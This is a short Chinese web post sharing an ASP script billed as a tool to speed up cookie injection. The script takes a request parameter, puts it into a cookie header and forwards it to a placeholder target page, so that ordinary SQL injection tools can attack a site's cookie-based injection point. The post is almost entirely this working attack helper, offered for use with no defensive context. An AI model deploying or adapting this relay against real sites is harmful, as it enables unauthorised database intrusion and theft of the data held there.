ASP版实现cookies注入提速工具

ASP版实现cookies注入提速工具：

代码如下:

<% 

Str="xxxid="&escape(request("FK")) 

Url="http://xxx.chinaxxx.com/injection.asp" 

response.write PostData(Url,Str) 

Function PostData(PostUrl,PostCok)  

Dim Http 

Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 

With Http 

.Open "GET",PostUrl,False 

.SetRequestHeader "Cookie",PostCok 

.Send 

PostData = .ResponseBody 

End With 

Set Http = Nothing 

PostData =bytes2BSTR(PostData) 

End Function 

Function bytes2BSTR(vIn) 

Dim strReturn 

Dim I, ThisCharCode, NextCharCode 

strReturn = "" 

For I = 1 To LenB(vIn) 

ThisCharCode = AscB(MidB(vIn, I, 1)) 

If ThisCharCode < &H80 Then 

strReturn = strReturn & Chr(ThisCharCode) 

Else 

NextCharCode = AscB(MidB(vIn, I + 1, 1)) 

strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 

I = I + 1 

End If 

Next 

bytes2BSTR = strReturn 

End Function 

%>

（编辑：银川站长网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!